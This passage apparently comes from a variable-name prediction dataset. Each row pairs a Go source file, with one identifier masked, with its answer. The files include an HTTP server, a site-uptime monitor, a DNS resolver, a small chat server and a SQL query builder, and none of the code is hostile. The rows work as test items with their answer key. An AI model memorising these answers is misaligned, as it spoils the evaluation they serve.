""fail new overall"", ""err"", err) os.Exit(1) } s := http.Server{ Addr: cfg.Addr, Handler: notify.New(ctx, &cfg.Notify, [MASK] , logger), } level.Info(logger).Log(""msg"", ""start server"", ""addr"", cfg.Addr) go func() { err = s.ListenAndServe() if err != nil { level.Error(logger).Log(""msg"", ""fail listen and serve"", ""err"", err) os.Exit(1) } }() return func() { _ = s.Shutdown(ctx) } } func main() { ctx := context.Background() ctx, cancel := signal.NotifyContext(ctx, os.Interrupt) stop := Main(ctx) <-ctx.Done() cancel() stop() <-time.After(5 * time.Second) fmt.Println(""shutdown gracefully"") } ",overAll 695,"package main import ( ""bufio"" ""fmt"" ""io"" ""io/ioutil"" ""net/http"" ""os"" //fala com o sistema operacional ""strconv"" ""strings"" ""time"" ) const monitoramento = 2 const delay = 3 func main() { exibeIntroducao() for { exibeMenu() comando := leComando() switch comando { case 1: iniciarMonitoramento() case 2: fmt.Println(""Exibindo Logs..."") imprimeLogs() case 3: fmt.Println(""saindo do programa"") os.Exit(0) default: fmt.Println(""valor invalido"") os.Exit(-1) } } } func exibeIntroducao() { var nome string = ""Gabriel"" var versao = 1.1 fmt.Println(""ola, meu caro "", nome) fmt.Println(""este programa esta na versão "", versao) } func leComando() int { var comandoLido int fmt.Scan(&comandoLido) //pega informação no terminal e joga na varriavel comando fmt.Println(""O comando escolhido foi"", comandoLido) return comandoLido } func exibeMenu() { fmt.Println(""1- Iniciar monitoramento"") fmt.Println(""2- Exibir Logs"") fmt.Println(""3- Sair do Programa"") fmt.Println("""") } func iniciarMonitoramento() { fmt.Println(""monitorando..."") sites := leiaSites() for i := 0; i < monitoramento; i++ { for i, site := range sites { fmt.Println(""posição"", i, ""site"", site) testaSite(site) } fmt.Println("""") //delay de 5 segundos time.Sleep(delay * time.Second) } } func testaSite(site string) { resp, _ := http.Get(site) if resp.StatusCode == 200 { fmt.Println(""Site:"", site, ""foi carregado com sucesso!"") registraLog(site, true) } else { fmt.Println(""Site:"", site, ""esta com problemas. Status Code:"", resp.StatusCode) registraLog(site, false) } fmt.Println("""") } func leiaSites() []string { var sites []string arquivo, err := os.Open(""Sites.txt"") if err != nil { fmt.Println(""Erro:"", err) } leitor := bufio.NewReader(arquivo) for { linha, err := leitor.ReadString('\n') linha = strings.TrimSpace(linha) fmt.Println(""site atual"", linha) sites = append(sites, linha) if err == io.EOF { break } } arquivo.Close() return sites } func registraLog(site string, [MASK] bool) { arquivo, err := os.OpenFile(""log.txt"", os.O_RDWR|os.O_CREATE|os.O_APPEND, 0666) if err != nil { fmt.Println(err) } arquivo.WriteString(time.Now().Format(""02/01/2006 15:04:05"") + site + "" - online:"" + strconv.FormatBool( [MASK] ) + ""\n"") arquivo.Close() } func imprimeLogs() { arquivo, err := ioutil.ReadFile(""log.txt"") if err != nil { fmt.Println(err) } fmt.Println(string(arquivo)) } ",status 696,"package mind import ( ""log"" ""sync"" ""sync/atomic"" ) type ENVGET func() map[string]any type ENVSET func(map[string]any) type ACTION func(Minder) error type BaseMinder struct { // m *Minder action ACTION envget ENVGET envset ENVSET ev *sync.Map notice chan string EnvChanged *atomic.Bool } func NewMinder(m *Minder, c chan string, get ENVGET, set ENVSET) *BaseMinder { return &BaseMinder{ // m: m, envget: get, envset: set, notice: c, ev: new(sync.Map), EnvChanged: &atomic.Bool{}, } } // mustEmbedBaseMinder a new struct must embed BaseMinder func (mr *BaseMinder) mustEmbedBaseMinder() {} func (mr *BaseMinder) Init(c chan string, get ENVGET, set ENVSET) { mr.envget = get mr.envset = set mr.notice = c mr.ev = new(sync.Map) mr.EnvChanged = &atomic.Bool{} } func (mr *BaseMinder) SetAction(f ACTION) { mr.action = f } func (mr *BaseMinder) Feedback() { // mr.m.Upgrade() ev := make(map[string]any) mr.ev.Range( func(key, [MASK] any) bool { ev[key.(string)] = [MASK] return true }) mr.envset(ev) } func (mr *BaseMinder) initenv() { defer mr.EnvChanged.Store(false) ev := mr.envget() for k, v := range ev { if v != nil { mr.ev.Store(k, v) } } } func (mr *BaseMinder) Work(wg *sync.WaitGroup, m Minder) { go func() { for msg := range mr.notice { if msg == ""upgrade"" { // do something } ev := mr.envget() for k, v := range ev { if v != nil { mr.ev.Store(k, v) } } mr.EnvChanged.Store(true) } }() mr.initenv() err := mr.action(m) if err != nil { log.Printf(""%s-got error:%s\n"", ""BaseMinder"", err.Error()) } mr.Feedback() wg.Done() } // getenv func (mr *BaseMinder) GetEnv() *sync.Map { return mr.ev } // getenv func (mr *BaseMinder) UpdateEnv(nv map[string]any) error { for k, v := range nv { mr.ev.Store(k, v) } return nil } ",value 697,"package ipam import ( ""github.com/GoogleContainerTools/kpt-functions-sdk/go/fn"" ipamv1alpha1 ""github.com/nokia/k8s-ipam/apis/ipam/v1alpha1"" metav1 ""k8s.io/apimachinery/pkg/apis/meta/v1"" ) type IpamAllocation struct { Obj fn.KubeObject } func (r *IpamAllocation) GetSpec() (*ipamv1alpha1.IPAllocationSpec, error) { spec := r.Obj.GetMap(""spec"") selectorLabels, _, err := spec.NestedStringMap(""selector"", ""matchLabels"") if err != nil { return nil, err } [MASK] := &ipamv1alpha1.IPAllocationSpec{ PrefixKind: spec.GetString(""kind""), AddressFamily: spec.GetString(""addressFamily""), Prefix: spec.GetString(""prefix""), PrefixLength: uint8(spec.GetInt(""prefixLength"")), Selector: &metav1.LabelSelector{ MatchLabels: selectorLabels, }, } return [MASK] , nil } func (r *IpamAllocation) GetStatus() *ipamv1alpha1.IPAllocationStatus { status := r.Obj.GetMap(""status"") return &ipamv1alpha1.IPAllocationStatus{ AllocatedPrefix: status.GetString(""allocatedprefix""), Gateway: status.GetString(""gateway""), } } ",ipAllocSpec 698,"package exporter import ( ""bytes"" ""crypto/md5"" ""encoding/hex"" ""encoding/xml"" ""fmt"" ""log"" ""sort"" ""strconv"" ""strings"" ""text/template"" ""time"" ""github.com/projectcypress/cdatools/models"" ) func escape(s string) string { b := new(bytes.Buffer) err := xml.EscapeText(b, []byte(s)) if err != nil { log.Fatalln(err) } return b.String() } // TimeToFormat parses time from a seconds since Epoch value, and spits out a string in the supplied format func timeToFormat(t int64, f string) string { utc, err := time.LoadLocation(""UTC"") if err != nil { log.Fatalln(err, ""Time Zone Location failed to load"") } parsedTime := time.Unix(t, 0) return escape(parsedTime.In(utc).Format(f)) } // IdentifierFor MD5s a byte slice, and returns a String func identifierFor(b []byte) string { md := md5.Sum(b) return escape(strings.ToUpper(hex.EncodeToString(md[:]))) } func identifierForInterface(objs ...interface{}) string { b := make([]byte, len(objs)) for _, obj := range objs { switch otyped := obj.(type) { case int64: b = append(b, []byte(strconv.FormatInt(otyped, 10))...) case *int64: if otyped != nil { b = append(b, []byte(strconv.FormatInt(*otyped, 10))...) } case string: b = append(b, []byte(otyped)...) } } return identifierFor(b) } // IdentifierForInt generates an MD5 representation of a set of int64s func identifierForInt(objs ...int64) string { b := make([]byte, len(objs)) for _, val := range objs { b = append(b, []byte(strconv.FormatInt(val, 10))...) } return identifierFor(b) } // IdentifierForInt generates an MD5 representation of a set of *int64s func identifierForIntp(objs ...*int64) string { b := make([]byte, len(objs)) for _, val := range objs { if val != nil { b = append(b, []byte(strconv.FormatInt(*val, 10))...) } } return identifierFor(b) } // IdentifierForString generates an MD5 representation of a set of string objects func identifierForString(objs ...string) string { b := strings.Join(objs, "","") return identifierFor([]byte(b)) } // identifierForResultValue generates an MD5 representation of a ResultValue func identifierForResultValue(resultValue models.ResultValue) string { // Get all codes in the ResultValue and sort them var codesInResultValue []string for _, codes := range resultValue.Codes { codesInResultValue = append(codesInResultValue, codes...) } sort.Strings(codesInResultValue) // Put sorted codes in byte array and hash that to create identifier var b []byte for _, code := range codesInResultValue { b = append(b, []byte(code)...) } return identifierFor(b) } // git blame schreiber // returns a function for executing a template based on the qrda oid // this is done so we have access to cat1Template when calling this function from _patient_data.xml func generateExecuteTemplateForEntry(cat1Template *template.Template) func(models.EntryInfo) string { hds := models.NewHds() return func(ei models.EntryInfo) string { entry := ei.EntrySection.GetEntry() qrdaOid := hds.HqmfToQrdaOid(entry.Oid, ei.MapDataCriteria.DcKey.ValueSetOid) templateName := fmt.Sprintf(""_%v.xml"", qrdaOid) var b bytes.Buffer if err := cat1Template.ExecuteTemplate(&b, templateName, ei); err != nil { log.Fatalln(err) } return b.String() } } func negationIndicator(entry models.Entry) string { if entry.NegationInd != nil && *entry.NegationInd { return ""negationInd='true'"" } return """" } func valueOrNullFlavor(i interface{}) string { var s string utc, err := time.LoadLocation(""UTC"") if err != nil { log.Fatalln(err, ""Time Zone Location failed to load"") } switch str := i.(type) { case string: [MASK] , err := strconv.Atoi(str) if err == nil { var t = time.Unix(int64( [MASK] ), 0) s = fmt.Sprintf(""value='%s'"", t.In(utc).Format(""200601021504-0700"")) } case int64: var t = time.Unix(str, 0) s = fmt.Sprintf(""value='%s'"", t.In(utc).Format(""200601021504-0700"")) case int: var t = time.Unix(int64(str), 0) s = fmt.Sprintf(""value='%s'"", t.In(utc).Format(""200601021504-0700"")) case *int64: if str != nil { var t = time.Unix(*str, 0) s = fmt.Sprintf(""value='%s'"", t.In(utc).Format(""200601021504-0700"")) } else { s = ""nullFlavor='UNK'"" } case *int: if str != nil { var t = time.Unix(int64(*str), 0) s = fmt.Sprintf(""value='%s'"", t.In(utc).Format(""200601021504-0700"")) } else { s = ""nullFlavor='UNK'"" } default: s = ""nullFlavor='UNK'"" } return s } func valueOrDefault(val interface{}, def interface{}) interface{} { switch val.(type) { case string: if val != """" { return val } return def } if val != nil { return val } return def } // conditional assignment. returns the second value only if the first value is empty, zero, or nil func condAssign(first interface{}, second interface{}) interface{} { result := second switch first := first.(type) { case string: if first != """" { result = first } case int64: if first != 0 { result = first } case int: if first != 0 { result = first } case *int64: if first != nil { result = first } case *int: if first != nil { result = first } } return result } // dd stands for discharge disposition func dischargeDispositionDisplay(dd map[string]string) string { // set code system codeSystem := models.OidForCodeSystem(dd[""code_system""]) if codeSystem == """" { codeSystem = dd[""code_system""] } return fmt.Sprintf("""", dd[""code""], codeSystem) } func sdtcValueSetAttribute(oid string) string { if oid == """" { return """" } return ""sdtc:valueSet=\"""" + oid + ""\"""" } func getTransferOid(dc models.DataCriteria, key string) string { if fieldValue := dc.FieldValues[key]; fieldValue != (models.FieldValue{}) { return fieldValue.CodeListID } return """" } func oidForCodeSystem(codeSystem string) string { oid := models.OidForCodeSystem(codeSystem) if oid != """" { return oid } return codeSystem } func hasPreferredCode(pc models.Concept) bool { return pc.Code != """" && pc.CodeSystem != """" } func hasLaterality(l models.Laterality) bool { return l != models.Laterality{} } func hasAnatomicalLocation(anatomicalLocation models.AnatomicalLocation) bool { return anatomicalLocation != models.AnatomicalLocation{} } func hasSeverity(severity models.Severity) bool { return severity != models.Severity{} } func codeDisplayAttributeIsCodes(attribute string) bool { return attribute == ""codes"" } func isNil(i interface{}) bool { return i == nil } func derefBool(i *bool) bool { return *i } // RecordTarget is used for rendering the record_target template type RecordTarget struct { models.Record CMSCompatibility bool } // newRecordTarget is for initializing a RecordTarget func newRecordTarget(record models.Record, cmsCompatibility bool) RecordTarget { return RecordTarget{Record: record, CMSCompatibility: cmsCompatibility} } func sampleCodeSystemInCoded(coded models.Coded) string { var sampleCodeSystem string for codeSystem := range coded.Codes { sampleCodeSystem = codeSystem } return sampleCodeSystem } func firstCodeInCodeSystem(coded models.Coded, codeSystem string) string { return coded.Codes[codeSystem][0] } ",ival 699,"/* Copyright 2022 Licensed under the Apache License, Version 2.0 (the ""License""); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an ""AS IS"" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ package cmd import ( ""fmt"" ""github.com/puerco/bomcat/pkg/bomcat"" ""github.com/spf13/cobra"" ) type installOptions struct{} func addInstall(parentCommand *cobra.Command) { installOpts := installOptions{} [MASK] := &cobra.Command{ Short: ""Install a binary"", Long: `bomcat install [repository-url] The bomcat install subcommand reads a repository's releases and will fetch an sbom from its release assets. It will then look in the sbom for a binary for the running platform and install it. `, Use: ""install"", SilenceUsage: false, PersistentPreRunE: initLogging, RunE: func(cmd *cobra.Command, args []string) (err error) { if err := runInstall(args, installOpts); err != nil { return fmt.Errorf(""installing from repo: %w"", err) } return nil }, } parentCommand.AddCommand( [MASK] ) } func runInstall(args []string, opts installOptions) error { bc := bomcat.New() binary := """" if len(args) > 1 { binary = args[1] } return bc.Install(args[0], binary) } ",installCmd 700,"package main import ( ""fmt"" ""net/http"" ) var chats map[string](chan string) func main() { chats = make(map[string](chan string)) fmt.Println(""Server is up"") http.HandleFunc(""/send"", Send) http.HandleFunc(""/receive"", Receive) http.HandleFunc(""/"", Home) http.ListenAndServe("":8080"", nil) } func showChannels() { for k, v := range chats { fmt.Printf(""name: %v, channel: %v, size: %v\n"", k, v, len(v)) } } func Home(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, `

Go Chat

Send

Channel: Text:

Receive

Channel:
`) } func GetChannel(chatName string) chan string { if chats[chatName] == nil { fmt.Printf(""Creating channel: %v\n"", chatName) chats[chatName] = make(chan string, 10) } return chats[chatName] } func Send(w http.ResponseWriter, r *http.Request) { chatName := r.URL.Query()[""channel""][0] channel := GetChannel(chatName) text := r.URL.Query()[""text""][0] channel <- text [MASK] := fmt.Sprintf(""Sent [%s:%s]\n"", chatName, text) fmt.Printf( [MASK] ) fmt.Fprintf(w, [MASK] ) showChannels() } func Receive(w http.ResponseWriter, r *http.Request) { chatName := r.URL.Query()[""channel""][0] channel := GetChannel(chatName) showChannels() fmt.Printf(""Waiting for input in channel %s, %v\n"", chatName, channel) select { case p := <-channel: fmt.Fprintf(w, ""Received: %s"", p) default: fmt.Fprintf(w, ""Nothin'"") } w.Header().Set(""Cache-Control"", ""max-age=0"") } ",caption 701,"package main import ( ""math/rand"" ""net"" ""strings"" log ""github.com/Sirupsen/logrus"" ""github.com/miekg/dns"" ) // The top-level key in the config for the default (not client-specific answers) const DEFAULT_KEY = ""default"" // The 2nd-level key in the config for the recursive resolver addresses const RECURSE_KEY = ""recurse"" // Maximum recursion when resolving CNAMEs const MAX_DEPTH = 10 // Recursive servers func (answers *Answers) Recursers(clientUUID string) []string { var hosts []string more := answers.recursersFor(clientUUID) if len(more) > 0 { hosts = append(hosts, more...) } more = answers.recursersFor(DEFAULT_KEY) if len(more) > 0 { hosts = append(hosts, more...) } return hosts } func (answers *Answers) recursersFor(clientUUID string) []string { var hosts []string client, ok := (*answers)[clientUUID] if ok { if ok && len(client.Recurse) > 0 { hosts = client.Recurse } } return hosts } // Search suffixes func (answers *Answers) SearchSuffixes(clientUUID string) []string { var suffixes []string client, ok := (*answers)[clientUUID] if ok { if ok && len(client.Search) > 0 { suffixes = client.Search } } return suffixes } // Authoritative suffixes func (answers *Answers) AuthoritativeSuffixes() []string { var suffixes []string client, ok := (*answers)[DEFAULT_KEY] if ok && len(client.Authoritative) > 0 { for _, suffix := range client.Authoritative { withDots := ""."" + strings.Trim(suffix, ""."") + ""."" suffixes = append(suffixes, withDots) } } return suffixes } func (answers *Answers) Addresses(clientUUID string, fqdn string, answerFqdn string, cnameParents []dns.RR, depth int) (records []dns.RR, ok bool) { fqdn = dns.Fqdn(fqdn) log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Debug(""Trying to resolve addresses"") // Limit recursing for non-obvious loops if len(cnameParents) >= MAX_DEPTH { log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Warn(""Followed CNAME too many times "", cnameParents) return nil, false } // Look for a CNAME entry log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Debug(""Trying CNAME Records"") result, ok := answers.Matching(dns.TypeCNAME, clientUUID, fqdn, answerFqdn) if ok && len(result) > 0 { cname := result[0].(*dns.CNAME) log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Debug(""Matched CNAME "", cname.Target) // Stop obvious loops if dns.Fqdn(cname.Target) == fqdn { log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Warn(""CNAME is a loop "", cname.Target) return nil, false } // Recurse to find the eventual A for this CNAME children, ok := answers.Addresses(clientUUID, dns.Fqdn(cname.Target), dns.Fqdn(cname.Target), append(cnameParents, cname), depth+1) if ok && len(children) > 0 { log.WithFields(log.Fields{""fqdn"": fqdn, ""target"": cname.Target, ""client"": clientUUID, ""depth"": depth}).Debug(""Resolved CNAME "", children) records = append(records, cname) records = append(records, children...) return records, true } } // Look for an A entry log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Debug(""Trying A Records"") result, ok = answers.Matching(dns.TypeA, clientUUID, fqdn, answerFqdn) if ok && len(result) > 0 { log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Debug(""Matched A "", result) shuffle(&result) return result, true } // When resolving CNAMES, check recursive server if len(cnameParents) > 0 { log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Debug(""Trying recursive servers"") r := new(dns.Msg) r.SetQuestion(fqdn, dns.TypeA) msg, err := ResolveTryAll(r, answers.Recursers(clientUUID)) if err == nil { return msg.Answer, true } } log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID, ""depth"": depth}).Debug(""Did not match anything"") return nil, false } func (answers *Answers) Matching(qtype uint16, clientUUID string, fqdn string, answerFqdn string) (records []dns.RR, ok bool) { authoritativeFor := answers.AuthoritativeSuffixes() authoritative := false for _, suffix := range authoritativeFor { if strings.HasSuffix(fqdn, suffix) { authoritative = true break } } // If we are authoritative for a suffix the label has, there's no point trying alternate search suffixes var clientSearches []string if authoritative { clientSearches = []string{} } else { clientSearches = answers.SearchSuffixes(clientUUID) } // Client answers, client search log.WithFields(log.Fields{""label"": fqdn, ""client"": clientUUID}).Debug(""Trying client answers, client search"") records, ok = answers.MatchingSearch(qtype, clientUUID, fqdn, answerFqdn, []string{}) if ok { return } // Default answers, client search log.WithFields(log.Fields{""label"": fqdn, ""client"": clientUUID}).Debug(""Trying default answers, client search"") records, ok = answers.MatchingSearch(qtype, DEFAULT_KEY, fqdn, answerFqdn, clientSearches) if ok { return } // Default answers, default search log.WithFields(log.Fields{""label"": fqdn, ""client"": clientUUID}).Debug(""Trying default answers, default search"") defaultSearches := answers.SearchSuffixes(DEFAULT_KEY) records, ok = answers.MatchingSearch(qtype, DEFAULT_KEY, fqdn, answerFqdn, defaultSearches) if ok { return } return nil, false } func (answers *Answers) MatchingSearch(qtype uint16, clientUUID string, fqdn string, answerFqdn string, searches []string) (records []dns.RR, ok bool) { records, ok = answers.MatchingExact(qtype, clientUUID, fqdn, answerFqdn) if ok { log.WithFields(log.Fields{""fqdn"": fqdn, ""client"": clientUUID}).Debug(""Matched exact FQDN"") return } base := strings.TrimRight(fqdn, ""."") limit := int(*ndots) if limit == 0 || strings.Count(base, ""."") < limit { if searches != nil && len(searches) > 0 { for _, suffix := range searches { newFqdn := base + ""."" + strings.TrimRight(suffix, ""."") + ""."" log.WithFields(log.Fields{""fqdn"": newFqdn, ""client"": clientUUID}).Debug(""Trying alternate suffix"") records, ok = answers.MatchingExact(qtype, clientUUID, newFqdn, answerFqdn) if ok { log.WithFields(log.Fields{""fqdn"": newFqdn, ""client"": clientUUID}).Debug(""Matched alternate suffix"") return } } } } return nil, false } func (answers *Answers) MatchingExact(qtype uint16, clientUUID string, fqdn string, answerFqdn string) (records []dns.RR, ok bool) { client, ok := (*answers)[clientUUID] if ok { switch qtype { case dns.TypeA: //log.WithFields(log.Fields{""qtype"": ""A"", ""client"": clientUUID, ""fqdn"": fqdn}).Debug(""Searching for A"") res, ok := client.A[fqdn] if ok && len(res.Answer) > 0 { ttl := uint32(*defaultTtl) if res.Ttl != nil { ttl = *res.Ttl } for i := 0; i < len(res.Answer); i++ { hdr := dns.RR_Header{Name: answerFqdn, Rrtype: dns.TypeA, Class: dns.ClassINET, Ttl: ttl} ip := net.ParseIP(res.Answer[i]) record := &dns.A{Hdr: hdr, A: ip} records = append(records, record) } shuffle(&records) } case dns.TypeCNAME: //log.WithFields(log.Fields{""qtype"": ""CNAME"", ""client"": clientUUID, ""fqdn"": fqdn}).Debug(""Searching for CNAME"") res, ok := client.Cname[fqdn] ttl := uint32(*defaultTtl) if res.Ttl != nil { ttl = *res.Ttl } if ok { hdr := dns.RR_Header{Name: answerFqdn, Rrtype: dns.TypeCNAME, Class: dns.ClassINET, Ttl: ttl} record := &dns.CNAME{Hdr: hdr, Target: res.Answer} records = append(records, record) } case dns.TypePTR: //log.WithFields(log.Fields{""qtype"": ""PTR"", ""client"": clientUUID, ""fqdn"": fqdn}).Debug(""Searching for PTR"") res, ok := client.Ptr[fqdn] ttl := uint32(*defaultTtl) if res.Ttl != nil { ttl = *res.Ttl } if ok { hdr := dns.RR_Header{Name: answerFqdn, Rrtype: dns.TypePTR, Class: dns.ClassINET, Ttl: ttl} record := &dns.PTR{Hdr: hdr, Ptr: res.Answer} records = append(records, record) } case dns.TypeTXT: //log.WithFields(log.Fields{""qtype"": ""TXT"", ""client"": clientUUID, ""fqdn"": fqdn}).Debug(""Searching for TXT"") res, ok := client.Txt[fqdn] ttl := uint32(*defaultTtl) if res.Ttl != nil { ttl = *res.Ttl } if ok { for i := 0; i < len(res.Answer); i++ { hdr := dns.RR_Header{Name: answerFqdn, Rrtype: dns.TypeTXT, Class: dns.ClassINET, Ttl: ttl} str := res.Answer[i] if len(str) > 255 { log.WithFields(log.Fields{""qtype"": ""TXT"", ""client"": clientUUID, ""fqdn"": fqdn}).Warn(""TXT record too long: "", str) return nil, false } record := &dns.TXT{Hdr: hdr, Txt: []string{str}} records = append(records, record) } } } } if len(records) > 0 { return records, true } else { return nil, false } } // Shuffles the sub-section of the supplied slice starting from the first A or AAAA record and going // until the end. In other words, doesn't shuffle CNAME records at the start of the slice whose order // should be maintained. func shuffle( [MASK] *[]dns.RR) { max := len(* [MASK] ) foundA := false for i := 0; i < max; i++ { record := (* [MASK] )[i].Header() if !foundA && record.Rrtype != dns.TypeA && record.Rrtype != dns.TypeAAAA { continue } foundA = true j := i + rand.Intn(max-i) (* [MASK] )[i], (* [MASK] )[j] = (* [MASK] )[j], (* [MASK] )[i] } } ",items 702,"package main import ( ""encoding/xml"" ""flag"" ""fmt"" ""os"" ""github.com/rsookram/axmlfmt/internal/parse"" ""github.com/rsookram/axmlfmt/internal/printer"" ) const indent = "" "" var Version = ""development"" var version = flag.Bool(""V"", false, ""print version information"") var write = flag.Bool(""w"", false, ""write result to (source) file instead of stdout"") func main() { flag.Parse() if *version { fmt.Println(""axmlfmt"", Version) return } filenames := flag.Args() for _, name := range filenames { r, err := os.Open(name) if err != nil { fmt.Fprintf(os.Stderr, ""%s\n"", err.Error()) os.Exit(1) } decoder := xml.NewDecoder(r) elements, err := parse.ReadXML(decoder) if err != nil { fmt.Fprintf(os.Stderr, ""%s\n"", err.Error()) os.Exit(2) } p := printer.New(indent) err = writeOutput(p, elements, *write, name) if err != nil { fmt.Fprintf(os.Stderr, ""%s\n"", err.Error()) os.Exit(3) } } } func writeOutput(p printer.Printer, elements []parse.Element, write bool, [MASK] string) error { if !write { return p.Fprint(os.Stdout, elements) } f, err := os.Create( [MASK] ) if err != nil { return fmt.Errorf(""failed to create %v: %v"", [MASK] , err) } defer f.Close() return p.Fprint(f, elements) } ",inputFileName 703,"package chain // Copyright 2018 <>, ShiftLeft Inc. // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. import ( ""strings"" ""sync"" ""github.com/ShiftLeftSecurity/gaum/v2/db/connection"" ""github.com/pkg/errors"" ) // NewExpressionChain returns a new instance of ExpressionChain hooked to the passed DB // Deprecated: please use New instead func NewExpressionChain(db connection.DB) *ExpressionChain { return &ExpressionChain{db: db} } // NewNoDB creates an expression chain without the db, mostly with the purpose of making a more // abbreviated syntax for transient ExpressionChains such as CTE or sub-query ones. func NewNoDB() *ExpressionChain { return &ExpressionChain{} } // New returns a new instance of ExpressionChain hooked to the passed DB func New(db connection.DB) *ExpressionChain { return NewExpressionChain(db) } // ExpressionChain holds all the atoms for the SQL expressions that make a query and allows to chain // more assuming the chaining is valid. type ExpressionChain struct { lock sync.Mutex segments []querySegmentAtom table string mainOperation *querySegmentAtom ctes map[string]*ExpressionChain ctesOrder []string // because deterministic tests and co-dependency limit *querySegmentAtom offset *querySegmentAtom set string conflict *OnConflict err []error db connection.DB formatter *Formatter minQuerySize uint64 } // SetMinQuerySize will make sure that at least bytes (runes actually) are allocated // before rendering to avoid costly resize and copy operations while rendering, use only // if you know what you are doing, 0 uses go allocator. func (ec *ExpressionChain) SetMinQuerySize(size uint64) { ec.minQuerySize = size } // Set will produce your chain to be run inside a Transaction and used for `SET LOCAL` // For the moment this is only used with Exec. func (ec *ExpressionChain) Set(set string) *ExpressionChain { ec.set = set return ec } // NewDB sets the passed db as this chain's db. func (ec *ExpressionChain) NewDB(db connection.DB) *ExpressionChain { ec.db = db return ec } // DB returns the chain DB func (ec *ExpressionChain) DB() connection.DB { return ec.db } // Clone returns a copy of the ExpressionChain func (ec *ExpressionChain) Clone() *ExpressionChain { var limit *querySegmentAtom var offset *querySegmentAtom var mainOperation *querySegmentAtom if ec.limit != nil { eclimit := ec.limit.clone() limit = &eclimit } if ec.offset != nil { ecoffset := ec.offset.clone() offset = &ecoffset } if ec.mainOperation != nil { ecmainOperation := ec.mainOperation.clone() mainOperation = &ecmainOperation } segments := make([]querySegmentAtom, len(ec.segments)) for i, s := range ec.segments { segments[i] = s.clone() } ctes := make(map[string]*ExpressionChain, len(ec.ctes)) order := make([]string, len(ec.ctesOrder), len(ec.ctesOrder)) for i, k := range ec.ctesOrder { ctes[k] = ec.ctes[k].Clone() order[i] = k } [MASK] := Formatter{FormatTable: map[string]string{}} for k, v := range ec.TablePrefixes().FormatTable { [MASK] .FormatTable[k] = v } return &ExpressionChain{ limit: limit, offset: offset, segments: segments, mainOperation: mainOperation, table: ec.table, ctes: ctes, ctesOrder: order, db: ec.db, formatter: & [MASK] , minQuerySize: ec.minQuerySize, } } func (ec *ExpressionChain) setLimit(limit *querySegmentAtom) { ec.lock.Lock() defer ec.lock.Unlock() ec.limit = limit } func (ec *ExpressionChain) setOffset(offset *querySegmentAtom) { ec.lock.Lock() defer ec.lock.Unlock() ec.offset = offset } func (ec *ExpressionChain) setTable(table string) { ec.lock.Lock() defer ec.lock.Unlock() // This will override whetever has been set and might be in turn ignored if the finalization // method used (ie Find(Object)) specifies one. ec.table = table } func (ec *ExpressionChain) append(atom querySegmentAtom) { ec.lock.Lock() defer ec.lock.Unlock() ec.segments = append(ec.segments, atom) } func (ec *ExpressionChain) removeOfType(atomType sqlSegment) { ec.lock.Lock() defer ec.lock.Unlock() newSegments := []querySegmentAtom{} for i, s := range ec.segments { if s.segment == atomType { continue } newSegments = append(newSegments, ec.segments[i]) } ec.segments = newSegments } func segmentsPresent(ec *ExpressionChain, seg sqlSegment) int { segmentCount := 0 for _, item := range ec.segments { if item.segment == seg { segmentCount++ } } return segmentCount } func extract(ec *ExpressionChain, seg sqlSegment) []querySegmentAtom { qs := []querySegmentAtom{} for _, item := range ec.segments { if item.segment == seg { qs = append(qs, item) } } return qs } func extractMany(ec *ExpressionChain, segs []sqlSegment) []querySegmentAtom { qs := []querySegmentAtom{} segMap := map[sqlSegment]bool{} for i := range segs { segMap[segs[i]] = true } for _, item := range ec.segments { if segMap[item.segment] { qs = append(qs, item) } } return qs } // fetchErrors is a private thingy for checking if errors exist func (ec *ExpressionChain) hasErr() bool { return len(ec.err) > 0 } // getErr returns an error message about the stuff func (ec *ExpressionChain) getErr() error { if ec.err == nil { return nil } errMsg := make([]string, len(ec.err)) for index, anErr := range ec.err { errMsg[index] = anErr.Error() } return errors.New(strings.Join(errMsg, "" "")) } ",newFormatter 704,"// Copyright 2024 // // Licensed under the Apache License, Version 2.0 (the ""License""); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an ""AS IS"" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. package main import ( ""context"" ""github.com/echovault/sugardb/internal"" ""github.com/echovault/sugardb/internal/config"" ""github.com/echovault/sugardb/sugardb"" ""log"" ""os"" ""os/signal"" ""syscall"" ) func main() { conf, err := config.GetConfig() if err != nil { log.Fatal(err) } ctx := context.WithValue(context.Background(), internal.ContextServerID(""ServerID""), conf.ServerID) [MASK] := make(chan os.Signal, 1) signal.Notify( [MASK] , syscall.SIGINT, syscall.SIGTERM, os.Interrupt) server, err := sugardb.NewSugarDB( sugardb.WithContext(ctx), sugardb.WithConfig(conf), ) if err != nil { log.Fatal(err) } go server.Start() <- [MASK] server.ShutDown() } ",cancelCh 705,"package FlowG import ( ""errors"" ""fmt"" ""os"" ) type configStruct struct { glimsDir string importDir string processedDir string errorDir string logDir string logPrefix string logLvl uint8 } var config = &configStruct{} // SetConfig sets the specified configuration key to the provided value, performing type-checking and validation. // Available keys are: 'glimsDir', 'processedDir', 